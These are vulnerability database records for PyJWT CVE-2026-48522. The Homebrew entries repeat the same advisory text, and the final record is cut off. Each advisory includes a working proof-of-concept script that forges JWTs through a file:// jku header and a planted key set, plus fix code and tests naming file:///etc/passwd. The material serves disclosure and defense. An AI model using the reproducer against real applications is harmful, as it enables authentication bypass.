{
  "affected": [
    {
      "package": {
        "ecosystem": "Alpaquita:25",
        "name": "py3-jwt",
        "purl": "pkg:apk/alpaquita/py3-jwt?arch=source\u0026distro=25"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.10.1-r0"
            },
            {
              "fixed": "2.13.0-r0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Alpaquita:stream",
        "name": "py3-jwt",
        "purl": "pkg:apk/alpaquita/py3-jwt?arch=source\u0026distro=stream"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0-r1"
            },
            {
              "fixed": "2.13.0-r0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "id": "BELL-CVE-2026-48522",
  "modified": "2026-06-22T23:05:58.580089Z",
  "published": "2026-06-02T06:11:45.790787Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://docs.bell-sw.com/security/cves/CVE-2026-48522"
    }
  ],
  "schema_version": "1.7.4",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "upstream": [
    "CVE-2026-48522"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "PyJWT",
        "resource_purl": "pkg:pypi/pyjwt@2.13.0",
        "upstream_fixed_in": "2.13.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "azure-cli",
        "purl": "pkg:brew/azure-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.17"
            },
            {
              "fixed": "2.88.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/pyjwt@2.13.0",
        "name": "pyjwt",
        "resource": "PyJWT",
        "strategy": "registry",
        "subject_version": "2.13.0"
      }
    ]
  },
  "details": "\u003e [!NOTE]\n\u003e The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib\u0027s default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application\u0027s `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) \u2014 the file\u0027s contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** \u2014 if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain \u2014 verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n    bl = (n.bit_length() + 7) // 8\n    return base64.urlsafe_b64encode(n.to_bytes(bl, \u0027big\u0027)).rstrip(b\u0027=\u0027).decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n                  \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n    json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n    {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n    priv_pem, algorithm=\"RS256\",\n    headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"])      # \u003c-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n                       audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {\u0027sub\u0027: \u0027attacker\u0027, \u0027aud\u0027: \u0027target-app\u0027, ...}\n```\n\n## Cross-library evidence \u2014 PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n    self, uri: str,\n    cache_keys: bool = False, max_cached_keys: int = 16,\n    cache_jwk_set: bool = True, lifespan: float = 300,\n    headers: dict[str, Any] | None = None, timeout: float = 30,\n    ssl_context: SSLContext | None = None,\n    allowed_schemes: tuple[str, ...] = (\"https\", \"http\"),  # NEW\n):\n    \"\"\"...\n    :param allowed_schemes: URL schemes the JWKS endpoint is permitted\n        to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n        HTTPS-only operation. URLs with disallowed schemes raise\n        ``PyJWKClientError`` before any fetch is attempted.\n    \"\"\"\n    # ... existing init code ...\n    self.allowed_schemes = allowed_schemes\n    self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -\u003e None:\n    \"\"\"Reject the configured URI early if its scheme isn\u0027t allowed.\"\"\"\n    from urllib.parse import urlparse\n    parsed = urlparse(self.uri)\n    scheme = parsed.scheme.lower()\n    if not scheme:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI \u0027{self.uri}\u0027 has no scheme; expected one of \"\n            f\"{self.allowed_schemes!r}\")\n    if scheme not in self.allowed_schemes:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI scheme \u0027{scheme}\u0027 is not in allowed_schemes \"\n            f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n    with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n        PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\u0027data:application/json,{\"keys\":[]}\u0027)\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself \u2014 the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) \u2014 none cover this class\n\n## Credit\n\nReported by Keijo Tuominen \u2014 independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers \u00d7 25 fixtures \u00d7 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.",
  "id": "BREW-azure-cli-CVE-2026-48522",
  "modified": "2026-10-08T01:17:02Z",
  "published": "2026-08-13T16:37:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/8521"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes",
  "upstream": [
    "GHSA-993g-76c3-p5m4",
    "CVE-2026-48522",
    "PYSEC-2026-175"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "pyjwt",
        "resource_purl": "pkg:pypi/pyjwt@2.15.1",
        "upstream_fixed_in": "2.13.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "bbot",
        "purl": "pkg:brew/bbot"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.1.0.2090"
            },
            {
              "fixed": "2.8.4_6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/pyjwt@2.15.1",
        "name": "pyjwt",
        "resource": "pyjwt",
        "strategy": "registry",
        "subject_version": "2.15.1"
      }
    ]
  },
  "details": "\u003e [!NOTE]\n\u003e The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib\u0027s default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application\u0027s `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) \u2014 the file\u0027s contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** \u2014 if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain \u2014 verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n    bl = (n.bit_length() + 7) // 8\n    return base64.urlsafe_b64encode(n.to_bytes(bl, \u0027big\u0027)).rstrip(b\u0027=\u0027).decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n                  \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n    json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n    {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n    priv_pem, algorithm=\"RS256\",\n    headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"])      # \u003c-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n                       audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {\u0027sub\u0027: \u0027attacker\u0027, \u0027aud\u0027: \u0027target-app\u0027, ...}\n```\n\n## Cross-library evidence \u2014 PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n    self, uri: str,\n    cache_keys: bool = False, max_cached_keys: int = 16,\n    cache_jwk_set: bool = True, lifespan: float = 300,\n    headers: dict[str, Any] | None = None, timeout: float = 30,\n    ssl_context: SSLContext | None = None,\n    allowed_schemes: tuple[str, ...] = (\"https\", \"http\"),  # NEW\n):\n    \"\"\"...\n    :param allowed_schemes: URL schemes the JWKS endpoint is permitted\n        to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n        HTTPS-only operation. URLs with disallowed schemes raise\n        ``PyJWKClientError`` before any fetch is attempted.\n    \"\"\"\n    # ... existing init code ...\n    self.allowed_schemes = allowed_schemes\n    self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -\u003e None:\n    \"\"\"Reject the configured URI early if its scheme isn\u0027t allowed.\"\"\"\n    from urllib.parse import urlparse\n    parsed = urlparse(self.uri)\n    scheme = parsed.scheme.lower()\n    if not scheme:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI \u0027{self.uri}\u0027 has no scheme; expected one of \"\n            f\"{self.allowed_schemes!r}\")\n    if scheme not in self.allowed_schemes:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI scheme \u0027{scheme}\u0027 is not in allowed_schemes \"\n            f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n    with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n        PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\u0027data:application/json,{\"keys\":[]}\u0027)\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself \u2014 the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) \u2014 none cover this class\n\n## Credit\n\nReported by Keijo Tuominen \u2014 independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers \u00d7 25 fixtures \u00d7 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.",
  "id": "BREW-bbot-CVE-2026-48522",
  "modified": "2026-09-30T20:00:40Z",
  "published": "2026-08-13T16:37:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/8521"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes",
  "upstream": [
    "GHSA-993g-76c3-p5m4",
    "CVE-2026-48522",
    "PYSEC-2026-175"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "resource": "pyjwt",
        "resource_purl": "pkg:pypi/pyjwt@2.10.1",
        "upstream_fixed_in": "2.13.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "conan@1",
        "purl": "pkg:brew/conan%401"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.59.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/pyjwt@2.10.1",
        "name": "pyjwt",
        "resource": "pyjwt",
        "strategy": "registry",
        "subject_version": "2.10.1"
      }
    ]
  },
  "details": "\u003e [!NOTE]\n\u003e The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib\u0027s default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application\u0027s `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) \u2014 the file\u0027s contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** \u2014 if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain \u2014 verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n    bl = (n.bit_length() + 7) // 8\n    return base64.urlsafe_b64encode(n.to_bytes(bl, \u0027big\u0027)).rstrip(b\u0027=\u0027).decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n                  \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n    json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n    {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n    priv_pem, algorithm=\"RS256\",\n    headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"])      # \u003c-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n                       audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {\u0027sub\u0027: \u0027attacker\u0027, \u0027aud\u0027: \u0027target-app\u0027, ...}\n```\n\n## Cross-library evidence \u2014 PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n    self, uri: str,\n    cache_keys: bool = False, max_cached_keys: int = 16,\n    cache_jwk_set: bool = True, lifespan: float = 300,\n    headers: dict[str, Any] | None = None, timeout: float = 30,\n    ssl_context: SSLContext | None = None,\n    allowed_schemes: tuple[str, ...] = (\"https\", \"http\"),  # NEW\n):\n    \"\"\"...\n    :param allowed_schemes: URL schemes the JWKS endpoint is permitted\n        to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n        HTTPS-only operation. URLs with disallowed schemes raise\n        ``PyJWKClientError`` before any fetch is attempted.\n    \"\"\"\n    # ... existing init code ...\n    self.allowed_schemes = allowed_schemes\n    self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -\u003e None:\n    \"\"\"Reject the configured URI early if its scheme isn\u0027t allowed.\"\"\"\n    from urllib.parse import urlparse\n    parsed = urlparse(self.uri)\n    scheme = parsed.scheme.lower()\n    if not scheme:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI \u0027{self.uri}\u0027 has no scheme; expected one of \"\n            f\"{self.allowed_schemes!r}\")\n    if scheme not in self.allowed_schemes:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI scheme \u0027{scheme}\u0027 is not in allowed_schemes \"\n            f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n    with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n        PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\u0027data:application/json,{\"keys\":[]}\u0027)\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself \u2014 the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) \u2014 none cover this class\n\n## Credit\n\nReported by Keijo Tuominen \u2014 independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers \u00d7 25 fixtures \u00d7 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.",
  "id": "BREW-conan@1-CVE-2026-48522",
  "modified": "2026-10-07T22:52:18Z",
  "published": "2026-08-13T16:41:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/8521"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes",
  "upstream": [
    "GHSA-993g-76c3-p5m4",
    "CVE-2026-48522",
